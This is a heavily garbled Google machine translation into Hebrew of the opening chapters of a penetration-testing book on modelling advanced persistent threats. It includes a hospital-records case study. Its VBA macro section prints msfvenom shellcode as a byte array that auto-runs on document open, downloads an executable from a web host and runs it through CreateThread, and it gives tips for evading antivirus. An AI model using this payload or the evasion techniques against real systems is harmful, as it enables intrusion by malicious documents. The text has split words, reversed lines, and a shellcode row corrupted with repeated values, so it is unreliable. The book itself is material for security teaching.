Advanced Penetration Testing Hacking The World's Most Secure Networks
Advanced Penetration Testing Hacking The World's Most Secure Networks
תו כן העניינים
כי סוי
ׁ ַש עַ ר
מ בוא
מגיע מעג ל מ לא
איום מתמ שך מת קדם )(APT
ט כנו לוגיית הדור ה בא
"הא קרים"
ההת קפה
סי כום
תרגי לים
פר ק 2:גני בת מ ח קר
ר קע ותדרוך מ שימה
א ספ קת מ טען ח ל ק 2:שימו ש ביי שומון Javaע בור מ ש לו ח מ טען
הערות ע ל התמדה במ טען
פי קוד ו ב קרה ח ל ק 2:ניהו ל הת קפות מת קדם
ההת קפה
סי כום
תרגי לים
פר ק 3:שוד ש ל המאה הע שרים וא חת
מה ע שוי לע בוד?
שום ד בר לא ב טו ח
Machine Translated by Google
פו לי טי קה ארגונית
מידו ל APTלעומת בדי קת חדירה מ סורתית
ר קע ותדרוך מ שימה
פי קוד ו ב קרה ח ל ק ש לי שי :ערוצים ונתונים מת קדמים
ה סתננות
מ ש לו ח מ טען ח ל ק III:מדיה פיזית
ההת קפה
סי כום
תרגי לים
פר ק 4:פארמה קארמה
ר קע ותדרוך מ שימה
א ספ קת מ טען ח ל ק IV:ניצו ל בצד ה ל קו ח 1
פי קוד ו ב קרה ח ל ק IV:אינ טגרציה ש ל Metasploit
ההת קפה
סי כום
תרגי לים
פר ק 5:רו בים ות חמו שת
ר קע ותדרוך מ שימה
מ סירת מ טען ח ל ק V:הדמיית מת קפת כופר
פי קוד ו ב קרה ח ל ק V:יצירת פתרון C2סמוי
א ס טר טגיות חד שות בהתגנ בות ופרי סה
ההת קפה
סי כום
תרגי לים
פר ק 6:מודיעין פ לי לי
א ספ קת מ טען ח ל ק VI:פרי סה עם HTA
ה ס למה ש ל הר שאות -Microsoft Windowsב
פי קוד ו ב קרה ח ל ק VI:תי בת ה קריפ
ההת קפה
סי כום
תרגי לים
Machine Translated by Google
ר שימת איורים
פר ק 1:ר שומות רפואיות ) לא-א ב ט חה(.
Machine Translated by Google
איור 4.8פונ קציית XORפ שו טהי כו לה לה בי ס ב ק לות את ט כנו לוגיית האנ טי-וירו ס.
איור 4.10פנ ק ס ר שימות אינוי כו ל ל כתו ב ל כונן C.זה הימור הוגן לרו ב
תו כנות שו ל חן הע בודהי ש אותן הג ב לות.
איור 4.11 Armitageמציג ר שימה ש ל תו ספים וה בע לים ש להם.
איור 4.12הע ברת תה ליך היא תה ליך ב ל חיצה א חת .כאן ע ברנו א ל
[Link].
איור 4.13בדוגמה זו [Link]מוע לה מת חנת הע בודה ש ל התו קף.
איור 6.6נתוני -XLSה מ כי לים שמות ע לונים ,חומרה ,ר כי ב KBו כן ה לאה.
ר שימת שו ל חנות
פר ק 5:רו בים ות חמו שת
ט ב לה 5.1ספריית libgcryptמ כי לה את כ ל פונ קציות ההצפנה שתצ טרך אי
פעם.
Machine Translated by Google
ווי ל א ל סופ
Machine Translated by Google
מ בוא
י שנה אמונהי שנה אך שגויה שההון מעדיף את האמיצים .מז לי ש ותמידיעדיף את
המו כנים .כא שר הארגון ש לך חווה אירוע א ב ט חה רציני )והואי קרה( ,זו רמת המו כנות
ש לך ע ל סמך הה בנה ש ל ה ב לתי נמנע ש ל אירוע כזה שתנ חה את ההתאו ש שות
המוצ ל חת .זה לא מ שנה אם אתה א חראי לא ב ט חה ש ל מ כ ל לה קהי לתית מ קומית או
אם אתה -CISOה ש ל בנ ק בינ לאומי -עו בדה זו תמיד תי שאר נ כונה.
פ שרה רא שונית -בדרך כ ל ל מ בוצעת או נעזרת ב שימו ש ב ט כני קות הנד סה
ח ברתית .הת קפה נגד ל קו ח ת כ לו ל ר כי ב ט כני לי בה ) כגוןיי שומון ג'אווה( ,אך ל לא
עי לה מ ש כנעת ,מת קפה כזו בדרך כ ל ל נידונה ל כי ש לון .עי להי כו לה להיות ה כ ל
א ב ל היא מוצ ל חת כ שהיא מותאמת למ טרה ו לעו בדיה.
סיור פנימי -א סוף מידע ע ל ת שתית מ ס בי ב,י ח סי אמון ומ בנה הת חום ש ל
Windows.מודעות למצ ב היא קרי טית להצ ל חת כ ל APT.
אני בוד ק חדירה במ קצועי )"הא קר" מ קצועי ,אם תרצה( עו בד
Machine Translated by Google
אני בוד ק חדירה במ קצועי )"הא קר" מ קצועי ,אם תרצה( שעו בד ע בור כ ל סוג אפ שרי
ש ל ל קו ח ו שו ק אנ כי לאורך ה ח ל ק ה טו ב ביותר ש ל שני ע שורים .ה ספר הזה מד בר מתוך
הנר טי ב הזה .אני רוצה להראות עד כמה בדי קות חדירה קונ בנציונ ליות כמע ט ח סרות
תוע לת כא שר מנ סים להגן ע ל ארגונים מפני הת קפת APTממו קדת .ר ק ע לידי מע בר
לאופי ה ס טגנציה ש ל מתודו לוגיות בדי קת חדירה ע כ שוויות ניתן לה שיג ת קווה זו.
ירי בים פו טנציא ליים כיום כו ל לים פ שע מאורגן ומדינות לאום -ראוי לציין ש סו כנויות ביון
זרות )מ כ ל מדינה( מו ש קעות ר בות בריגו ל תע שייתי ,ו לא ר ק נגד מדינות עוינות.
סימן APTמ ס' 1:ע לייה ב כני סות מוג ברות ב שעת לי לה מאו חרת -זו ש טות .ברגע
שהיעד נפרץ ) ב כ ל אמצעי שהוא( ,לתו קף אין צורך לע שות שימו ש ב שי טות
הת ח ברות מ בו קרות ,מ כיוון שהםיפר סו ת שתית פי קוד ו ב קרה מ ש להם .לא תראה
כני סות מוג ברות ב שעת לי לה מאו חרת או ב כ ל זמן א חר.
סימן APTמ ס' 2:מציאת סו סים טרויאניים בד לת א חורית נפוצה -לאורך ה ספר
הזה אני א בדו ק בך כ ל הזמן עד כמה כ לי זיהוי AVו כ לי תו כנה זדוניות א חרים אינם
יעי לים למ ל חמה ב .sTPA-ה "A"-מייצג מת קדם; התו קפיםיותר ממ סוג לים לפת ח
כ לים מ ש להם או לה סוות את ה כ לים הזמינים לצי בור .אם אתה מוצא סו סים
טרויאניים בד לת א חורית )נפוצה או א חרת( והם הו כנ סו ל שם ע לידי ש ח קן חיצוני
מת קדם ,הם פתי לים והייתם אמורים למצוא אותם.
סימן APTמ ס' 3:זורם מידע ב לתי צפוי "-ה לוואי ש ל כ ל ל קו ח דוא" ל הייתה את
הי כו לת להראות הי כן המ שתמ ש הא חרון נ כנ ס כדי לא סוף דוא" ל והי כן ניג שו
להודעה הא חרונה Gmail .ו כמה מער כות דוא" ל א חרות בענן כ בר מציעות זאת".
סימן APTמ ס' 4:גי לוי ח בי לות נתונים ב לתי צפויות -בת קווה שאו לי תת ק ל ב טעות
ב קו בצי zipהמ כי לים נתוניםי קרי ערך ) שנ שארו לך בנו חות למצוא אותם( היא דרך
גרועה לג שת לא ב ט חת מידע .למרות שממצא כזה ע שוי בה ח ל ט להיות אינדי ק טור
לפ שרה (IoC),הוא לא אמין ו לא ניתן ל חזור ע ליו .אתה צריך להני ח שאם תו קף
מצ לי ח להי כנ ס לר שת ש לך ו לגנו ב את הנתונים הי קרים ביותר ש לך ,הואיודע איך
לה שתמ ש בפ קודה Delete.
סימן APTמ ס' 5:זיהוי כ לי פריצה מע בירים את -hash -האני לא ב טו ח מדוע כ לי
פריצה " לע בור את "-hashהנ ב חרו לת שומת ל ב מיו חדת -במיו חד מ כיוון שהם
) בדרך כ ל ל( אינם נו טים להת קיים ב בידוד ,א לא כ ח ל ק ממ סגרות פריצה .אף ע ל פי
כן ,בעוד שהנו כ חות ש ל כ ל כ לי כזהי כו לה להי ח ש ב -IoC,כת למדו ב ספר זה
שה שארת תו כנת פריצה ניתנת לזיהוי שו כ בת במ כונות שנפגעו היא פ שו ט לא הדרך
ש בה זה נע שה .התגנ בות ו ס ב לנות הם סימני ההי כר ש ל APT.
"הא קרים"
הדמוגרפיה ש ל מה שאנו מ ח שי בים כ"הא קרים" ה שתנתה ל לא כ ל ה כר ו ל כן
הה קדמה הזו תהיה הפעם הא חרונה ש בה אני מ שתמ ש במי לה הזו .הוא מיו שן
ומיו שן וה קונו טציות שהוא מע לה הן ל ח לו טין
Machine Translated by Google
מיו שן ומיו שן וה קונו טציות שהוא מע לה לא מדוי קות ל ח לו טין .אני מעדיף את המונ חים
הני טר לייםיותר" ,תו קף" או " ש ח קן חיצוני" ,כי כפי שת למד,י ש ד ברים הר בהיותר
גרועים ב חוץ מא שר אנר כי ס טים בני נוער עםיותר מדי זמן בידיים" .תור הזה ב" ש ל
ההא קינג שאנ טי-גי בוריו היו מאר ק א בנה ,קווין פו ל סן ,קווין מי טני ק וא חרים היה ת קופה
תמימה להפ ליא בה שוואה להיום ,ש בה המציאות מוזרהיותר מ סיפורת ה סיי ברפאנ ק
ש ל שנות ה שמונים שנתנה ה שראה ל כ ל כך הר בה הא קרים ש ל היום.
ע ברו שנתיים עמו סות .גי לויי סנודן זעזעו את העו לם והו בי לוי שירות ל שינויים נר ח בים
בי ח סה ש ל תע שיית ה ט כנו לוגיה ל בי ט חון .ב 3102-ניה לתי שי חה עם ל קו ח ש לא הייתה
עו לה ע ל הדעת לפני ההד לפות -שי חה ש בה -NSAההיה הנ ב ל שממנו רצו להיות
מוגנים .זו הייתה ח ברת Fortune 500מ כו בדת בעו לם ,לא הא ספ סוף .גני בת קניין
רו חני נמצאת במגמת ע לייה ומתג ברת בהי קף .במ סגרת ע בודתי אני נמצא בעמדה
יי חודית לומר בוודאות שהפיגועים שאתה שומע ע ליהם הם ר ק א לו שמוד לפים
לת ק שורת .הם קצה ה קר חון בה שוואה לד ברים ש לא מדוו חים .אני רואה את זה ע ל
ב סי סיומי .לרוע המז ל ע בור תע שיית ה ט כנו לוגיה הר ח בהיותר ,פריצה למער כות מ טרה
)ואני א כ לו ל כאן בדי קות חדירה ,כ שהן מ בוצעות כה ל כה( היא הר בהיותר ק לה מא שר
ל שמור ע ל מער כות מאו ב ט חות מפני הת קפה .הה בד ל בין מאו ב ט ח לפגיע הוא פ שו ט
כמו שאדם א חד ב ח ברה ש ל א לפים עו שה טעות א חת ק טנה.
למרות היתרונות ה ברורים ש ל סוג זה ש ל בדי קות הו לי ס טיות או בהי קף פתו ח ,היא
מ בוצעת ר ק לעתים נדירות בעו לם האמיתי ,לפ חות בה שוואה ל בדי קות חדירה
מ סורתיות .ה סי בה ל כך היא כפו לה :זה נתפ ס כי קריותר )זה לא( וארגונים ר ק לעתים
ר חו קות רוצים רמת בדי קה כזו .הם רוצים לע שות מ ספי ק כדי לציית למדיניות הא ב ט חה
ש להם ו לדרי שות ה חו קיות ש להם .אתה שומע מונ חים כמו HIPAA, SOXאו תואמי PCI
Machine Translated by Google
דרי שות ה חו ק .אתה שומע מונ חים כמו HIPAA-, SOX-,או PCI-תואמי PCI,מתנדנדים
ע לידי ספ קים כאי לו הם מת כוונים למ שהו ,א ב ל הם קיימים ר ק כדי ל שמור ע ל עור כי
דין מאו שרים ומ ש למים הי ט ב וזו ח בי לה ש ק ל למ כור .אתהי כו ל להיות תואם PCIו להיות
פגיע לעזאז ל .ת שא לו את TJ Maxxאו Sony:ל ק ח את ה שנים ה קודמות ל ש חזר את
אמון המותג; כמות הנתונים העצומה שד לפה פירו שה שהנז ק לא חרון עדיין נמצא
בהער כה .די לומר שמנ ט ליות ציות מזי קה ל בי ט חון ש לך .אני באמת מ ביא את הנ קודה
ה ביתה כאן כי אני רוצה לוודא שזה מו בן במ לואו .עמידה במדיניות א ב ט חה והיות
מאו ב ט ח אינם אותו ד בר.
Machine Translated by Google
במ קום להתיי ח ס לנו שא כמדריך ט כניי ב ש ,כ ל פר ק עו ק ב א חר פורמ ט דומה -הה ק שר
ש ל מגוון ר ח ב ש ל תע שיות נפרדותיהיה הר קע שע ליו נ ח קרות ט כנו לוגיות ,הת קפות
ונו שאים חד שים .זה כו ל ל לא ר ק ו ק טורים מוצ ל חים ש ל הת קפה א לא מו שגים חיוניים
כמו ה ס למה ש ל הר שאות ,הימנעות מזיהוי תו כנות זדוניות ,מודעות למצ ב ,תנועה
לרו ח ב ועוד מיומנויות ר בות שהן קרי טיות לה בנה מוצ ל חת הן ש ל APTוהן ש ל אופן
המוד ל ש לה .המ טרה היא לא ר ק ל ספ ק או סף ש ל קוד ות סרי טים ,אם כי מו באות
דוגמאות ר בות ,א לא לעודד ה בנה ר ח בה ואורגנית ש ל ה בעיות ופתרונותיהן ,כך
שה קוראיםי ח ש בו ע ליהן בדר כים חד שות ויו כ לו לה בין ב בי ט חון .לפת ח כ לים מ ש להם.
פר ק "1,ר שומות רפואיות ) ב(א ב ט חה" ,דן בהת קפות ע ל ת שתית בתי חו לים עם
מו שגים כמו הת קפות מא קרו ו ט כני קות אדם בדפדפן .נ ח קר מ בוא לפי קוד ו ב קרה
(C2).
פר ק "2,גני בת מ ח קר",י ח קור הת קפות באמצעותיי שומוני Javaו 2C-מת קדמים
יותר בה ק שר ש ל הת קפה נגד אוני בר סי טת מ ח קר.
Machine Translated by Google
פר ק "3,שוד ש ל המאה הע שרים וא חת" ,בו חן דר כים ל חדור ליעדים בע לי א ב ט חה
ג בוהה כגון בנ קים ו ט כני קות C2מת קדמות ביותר באמצעות פרו טו קו ל DNS.
פר ק "5,רו בים ות חמו שת" ,בו חן הדמיית תו כנות כופר ו שימו ש ב שירותים נ סתרים
ש ל Torכדי לה סוות את המי קום הפיזי ש ל ת שתית C2.
פר ק "6,מודיעין פ לי לי" ,מ שתמ ש בר קע ש ל חדירה למפ קדת מ ש טרה כדי להמ חי ש
את ה שימו ש ב קופ סאות " קריפר" להת ק שרויות ארו כות טוו ח ש בהן אפ שרית גי שה
פיזית זמנית .מו שגים א חרים כמו ה ס למה ש ל הר שאות ופרי סה ש ל הת קפות
באמצעותיי שומי HTMLמוצגים.
פר ק "7,מ ש ח קי מ ל חמה" ,דן בהת קפה נגד ר שת נתונים מ סווגת ומ ס ביר מו שגים
כמו אי סוף מודיעין ב קוד פתו ח ומו שגים מת קדמים ב& Control. dnammoC-
פר ק "8,פריצת עיתונאים" ,מראה כיצד לת קוף מוציא לאור ו לה שתמ ש נגדם
ב ט כנו לוגיות ו בזרימות הע בודה ש לו .תו כן מדיה ע שירה מתפת ח ומתודו לוגיות
ני סיוניות ש ל C2נ ל ק חות ב ח ש בון .מוצגים מו שגים מת קדמים בהנד סה ח ברתית.
פר ק "9,ח שיפה צפונית" ,הוא הת קפה היפות טית נגד מדינה נו כ לת עוינת ע לידי
צוות ממ ש לתי למ בצעי גי שה מותאמת (TAO).צפון קוריאה מ שמ שת דוגמה נו חה.
אנו דנים במיפוי ר שת די ס קר טי מת קדם ו באמצעים לת קיפת סמאר טפונים ,כו ל ל
יצירת קוד עוין ע בור ט לפונים iOSואנדרואיד.
גני בה או אפי לו שינוי ש ל נתוני המ טופ לים היו איום מתמ שך הר בה לפני שההו לנדי
" קיין" התפ שר ע ל המר כז הרפואי ש ל אוני בר סי טת וו שינג טון ב שנת 2000.בית
ה חו לים באותה ת קופה האמין שהם הצ לי חו לזהות ונית קו את הת קיפה ,אמונה
שהם לא התע ל לו ממנה בג סות שי שה חוד שים לא חר מ כן ,כא שר קיין שיתף את
הנתונים ש ל ק ח עם עיתונאי 'מו קד הא ב ט חה' קווין פו ל סן ,שפר סם לא חר מ כן
מאמר המתאר את המת קפה וה ש ל כותיה .זה הפך במהירות ל חד שות עו למיות.
קיין הצ לי ח להי שאר מו סתר בר שתות המר כז הרפואי ב כך שאפ שר ל קור בנותיו
להאמין שגיר שו אותו .הוא ע שה זאת ע לידי ה שארת טרויאנים לגי שה מר חו ק ש ל
)BO2Kכ לי שפות ח ע לידי ק בוצת ההא קרים "Cult of the Dead Cow" ,ופופו לרי
ב ס בי בות ת חי לת המאה( ב כמה מה שרתים שנפגעו בזמן שת שתית הפי קוד וה ב קרה
ש לו הייתה קצתיותר די ס קר טי .הפר ק כו לו מתועד הי ט ב באינ טרנ ט ואני מציע לך
ל קרוא ע ליו ,מ כיוון שהוא גם דוגמה מצוינת ל TPA-מודרני מו קדם וגם מ קרה ש ל
ספרי לימוד כיצד לא להתמודד עם חדירה -פרוצדור לית ופומ בית.
מוד ל איומי APTהוא ענף ספציפי ש ל בדי קות חדירה ש בו הת קפות נו טות להיות
ממו קדות במ שתמ שי קצה כדי לה שיג פ שרה רא שונית בר שת במ קום לת קוף מער כות
חיצוניות כגוןיי שומי אינ טרנ ט או ת שתית ר שת הפונה לאינ טרנ ט .כתרגי ל ,הוא נו טה
להת בצע ב שתי פרדיגמות עי קריות-
Machine Translated by Google
ַת ׁשתִית .כתרגי ל ,הוא נו טה להת בצע ב שתי פרדיגמות עי קריות -מניעה ,כ לומר ,כ ח ל ק
מיוזמת בדי קת חדירה ,או נתי חה ש לא חר המוות ,ע ל מנת לה ש לים תגו בה מ שפ טית
לא חר ת קרית כדי לה בין כיצדי כו ל היה פו ל ש לה שיג גי שה .הרו ב המ כריע הוא
מהרא שונים .הת ק שרויות APTי כו לות להת בצע כתרגי לים קצרי טוו ח הנמ ש כים מ ספר
ש בועות או ע ל פני ת קופה ארו כה ש ל זמן ,מ חוי בת ב שעה ביום למ שך מ ספר חוד שים.
י ש חי לו קי דעות לג בי איזו א ס טר טגיהיעי להיותר )ו כמו בן שזה ת לוי באופי היעד( .מצד
א חד ,פר ק זמן ארוךיותר מאפ שר למידו ל ל ח קות מת קפה אמיתית בצורה מדוי קתיותר,
אך מצד שני ,ל קו חות נו טים לרצות עד כונים שו טפים כא שר ה בדי קה מת בצעת בצורה
זו ,והוא נו טה לה בי ס את מ טרת ה בדי קה כא שר אתה מנות ק ב כ ל מ שו כה.
ר קע ותדרוך מ שימה
בית חו לים ב לונדון נפגע ע לידי גורמים לאידועים.
זה היה ה ס כום ה כו ל ל ש ל מה שידעתי כ שהגעתי ל קמפו ס ה ל בנים האדומות כדי לדון
בפ שרה ו להמ ליץ ע ל הפעו לות ה באות .א חרי הי כרות ו קפה מ כונות רע הרגי ל ש בדרך
כ ל ל מ לווה פגי שות כא לה ,הגענו ל ל ב העניין .המאר ח ש לנו אמר ב סתירה ש קיימת
"אנומ ליה במער כת רי שומי תרופות המר שם" .לא הייתי ב טו ח מה לע שות עם זה" ,זה
היה עניין ש ל א חות ג' קי ?" שא לתי .ז כיתי במ ב ט שאומר "אתה לא מצ חי ק ואני לא צופה
ב שואו טיים" .היא המ שי כה" ,גי לינו שנוצרו מ ספר ר שומות מזויפות ש ל חו לים ש שימ שו
לא חר מ כן לה שגת תרופות מ בו קרות".
הרופא רו שם את התרופות
בית המר ק חת מ ח ל ק את התרופות
ה חו לים עצמם
ה קצה האדמיני ס טר טי בי ל כ ל מ שימות שונות א חרות
תמיד טו ב ל ברר מהי ש ל ספ ק עצמו לומר כדי שתדע איזו פונ קציונ ליות מ ספ קת
התו כנה.
המ טרה ש לי בתור בוד ק חדירה תהיה למ קד את א חד מעו בדי בית ה חו לים ע ל מנת
לערער את מער כת רי שומי ה חו לים .הגיוני למ קד את הרופאים עצמם ,ש כן תפ קידם
במער כת מאפ שר להם להו סיף חו לים ו לר שום תרופות ,וזה בעצם מה שאנ חנו רוצים
לע שות .אנויודעים מה ספרות ה ט כנו לוגית שהוא מ שת ל ב עם MS Office,ו בהת ח ש ב
באופי הפתו חה ש ל ה ס בי בה שאנו נת קוף ,זה נ שמע כמו מ קום מצוין להת חי ל בו.
"אימות דו -ש ל בי אינו המו שיע ש לנו .זה לאיגן מפני פי שינג.
זה לאימנע גני בת זהות .זה לא הו לך לא ב ט ח ח ש בונות מ קוונים מפני ע ס קאות
הונאה .זה פותר את בעיות הא ב ט חה שהיו לנו לפני 10שנים ,לא את בעיות
הא ב ט חה שי ש לנו היום".
Machine Translated by Google
)VBA (Visual Basic for Applicationsהיא ק בוצת מ שנה ש ל שפת הת כנות ה קניינית
ש ל Microsoft Visual Basic.הוא נועד לפעו ל אך ור ק בתוך -Excelו Microsoft Word
ע ל מנת להפוך פעו לות חוזרות לאו טומ טיות ו ליצור פ קודות מותאמות אי שית או כפתורי
סרג ל כ לים .זוהי שפה פרימי טי בית כ כ ל שהד ברים הא לה הו ל כים ,א ב ל היא מ סוג לת
ליי בא ספריות חיצוניות כו ל ל כ ל -APIה ש ל Windows.כ כזה אנ חנוי כו לים לע שות איתו
הר בה מ ל בד לנהוג בגי ליונות א ל ק טרוניים ו לנה ל ר שימות דיוור.
למא קרו VBAי ש הי ס טוריה ארו כה כאמצעי להע ברת תו כנות זדוניות ,א ב ל זה לא אומר
שהוא פ חותיעי ל היום ממה שהיה אי פעם .להיפך ,בגר סאות מודרניות ש ל (2010
Microsoft Officeואי לך( ,התנהגות ברירת המ חד ל ש ל האפ לי קציה היא לא לע שות
ה ב חנה בין קוד חתום ל קוד לא חתום.י ש ל כך שתי סי בות .הרא שון הוא ש חתימת קוד
יעי לה בערך כמו רי קודי ג שם כאמצעי ל ח סימת קוד עוין ומ כיוון ש למי קרו סופ ט נמא ס
להזהיר אנ שים מפני ה ס כנות ש ב שימו ש ב ט כנו לוגיות ה לי בה ש לה.
במ קרה זה ,אנו רוצים ליצור ש ל ב שמ בצע מ טען כא שר היעד פות ח את מ סמך Word
או Excel.י שנן מ ספר דר כים ש בהן נו כ ל לה שיג זאת ,אך רא שית אני רוצה לגעת ב קוד
לדוגמה שנוצר ע לידי -Metasploit frameworkה מתו קף ה כ לי msfvenomש לה .
ה סי בה היא פ שו ט כי זו דוגמה מו ש למת לאיך לא לע שות זאת.
כיצד לא ל ביים הת קפת VBAמ טרת msfvenomהיא ליצור מ טענים מ קודדים או
shellcodeהמ סוג לים להת בצע במגוון ר ח ב ש ל פ ל טפורמות -א לו הם בדרך כ ל ל
ה סו כנים ש ל Metasploitעצמו ,אם כיי שנן אפ שרויות ל טפ ל ב קוד ש ל צד ש לי שי ,כגון
טרויאני קו בצי הפע לה קיימים ו כן ה לאה .נד בר מאו חריותר ע ל המ טפ לים ש ל
Metasploit,ה חוז קות וה חו ל שות ש להם ,א ב ל לעת עתה בואו נ שאיר ד ברים כ ל ליים.
אפ שרות א חת -msfvenomש מ ספ קת היא להוציא את המ טען המת ק ב ל כ קוד מע טפת
מ קודד ע שרוני בתוך ס קריפ ט VBAשניתן ליי באי שירות למ סמך ש ל Microsoft Office
)ראה רי שום 1-1).שורת הפ קודה ה באה תיצור ס קריפ ט VBAשיוריד וי בצע קו בץ
הפע לה ש ל Windowsמ כתו בת אתר אינ טרנ ט:
Machine Translated by Google
אזVba7 אם#
Sub Auto_Open()
Dim Hdhskh As Long, Wizksxyu As Variant, Rxnffhltx As Long
אזVba7 אם#
Dim Qgsztm As LongPtr, Svfb As LongPtr
אַ ֵח ר#
א ס לונגSvfb ,דים קג ס טם א ס לונג
#EndIf
Machine Translated by Google
Wizksxyu =
Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20,
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207,
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192,
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1,
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125,
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18,
235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38,
7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91,
49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235,
4,80,106,31,
5,213,137,198,106,16,912,104,106,16,912,104,137,198,106,16,912,104,106,16,912,104,106,16,912,104,106,16,912,104
86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123,
255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0,
232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106,
2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141,
76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116,
45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174,
91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104,
49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255,
99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46,
98,111,98,46,99,111,109,0)
)Wizksxyu(Rxnffhltx
)Svfb = RtlMoveMemory(Qgsztm + Rxnffhltx, Hdhskh, 1
ה בא Rxnffhltx
)Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0
סיום מ שנה
)(Subbook_Open
או טומ טי_פתי חה
סיום מ שנה
איור 1.5:זה מדגים שיעור פגיעה -AVב ג בוה באופן ב לתי מ קו ב ל 48 .כני סות מתוך
54מנועי ? AVלא כמע ט מ ספי ק טו ב.
VirusTotalמ ספ ק גם מידע היורי ס טי שרומז כיצד א לה
Machine Translated by Google
א לא ר ק את, שים ל ב שהר בה סור קי וירו סים לאי סרו ק את סעיף ההצהרה,עם זאת
: כמו, למ ש ל, מה שאומר שאתהי כו ל כ כינוייי בוא פונ קציה,גוף ה קוד הרא שי
AV, זה למע שה מ ספי ק כדי לע קוף מ ספר פתרונות.ו קראו ר ק ל כינוי עצמו בגוף ה קוד
.כו ל ל הגנת נ קודות ה קצה ש ל מי קרו סופ ט
Wizksxyu =
Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20,
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207,
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192,
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1,
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125,
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18,
235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38,
7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91,
Machine Translated by Google
49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235,
79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46,
59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31,
86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123,
255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0,
232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106,
2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141,
76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116,
45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174,
91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104,
49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255,
99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46,
_
)98,111,98,46,99,111,109,0
אנ חנוי כו לים ל קודד את זה במ ספר דר כים באמצעות מ ספר אי טרציות כדי לה ב טי ח
שזה לא מפעי ל חתימת AVוזה נהדר; זה עו בד ב סדר .ה בעיה היא שזה לא מ שנה את
העו בדה שזה עדיין ל לא ספ ק shellcode.מערך ש ל בתים ) למרות שהוא מ קודד כאן
כע שרוני ו לא ה ק סדצימ לי המו כריותר( עומד להיראות ח שוד בעיני AVו ס ביר להני ח
שהואיפעי ל אזהרת קוד מע טפת גנרית .בנו סף ,תו כנת אנ טי-וירו ס מודרנית מ סוג לת
להע ביר קוד קומפי לציה ) כו ל ל קוד מע טפת( למ כונה מי קרו-ויר טוא לית כדי ל בדו ק
בצורה היורי ס טית .אז זה לא מ שנה איך הוא מ קודד -AVה -יו כ ל לראות מה הוא עו שה.
זה הגיוני ע בור msfvenomל ס כם את ההת קפות ש לה כך ,כי אז היאי כו לה לפרו ס את
כ ל המ טענים הר בים ש לה ב ס קריפ ט VBAא חד ,א ב ל ע בור מעור בות רצינית ש ל APT
זה לא כמע ט מ ספי ק סמויֶ ׁ .ש לָ ה
Machine Translated by Google
אפ שר ל קודד את המערך הזה במ ספר דר כים ) למ ש ל כמ חרוזת ) Base64ו לא חר מ כן ל בנות אותו מ חד ש
בזמן ריצה ,א ב ל זה לא מפ חית את ספירת -AVה מ ספי ק כדי להיות שווה את המאמץ.
ה בא Rxnffhltx
)Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0
Sub Auto_Open
גו ש קוד רא שי
סיום מ שנה
שתי הפונ קציות הא חרות נ קראות ע לידי Excelופ שו ט מצ ביעות חזרה ע ל הפונ קציה Auto_Openש ל
Word .
סיום מ שנה
שימו ש בתת שגרת פתי חה או טומ טית א חת הוא ח שוד ,שימו ש ב ש לו שתןי סומן כמע ט
בוודאות .ר ק ע לידי ה סרת שתי ה קריאות הא חרונות למ סמך Word,נו כ ל להפ חית
מיד את שיעור הפגיעה -AVב ש לנו .ה סרת ש לו שתם מפ חיתה את ה ספירה הזו עוד
יותר.
י שנן פונ קציות מ קוריות בתוך VBAהמאפ שרות לתו קף להוריד ו להפעי ל קוד מהאינ טרנ ט
) הפונ קציות Shellו URLDownLoadToFile , -למ ש ל(; עם זאת ,א לה כפופים לאותן
בעיות שראינו כאן -הן ח שודות והן עומדות להיות מ סומנות.
ה שורה הת חתונה היא שזיהוי אנ טי-וירו ס/תו כנות זדוניות הוא מאוד לא ס ל חן לפ קודות
מא קרו ש ל MS Officeבהת ח ש ב בהי ס טוריה הארו כה ש להן ש ל שימו ש להע ברת
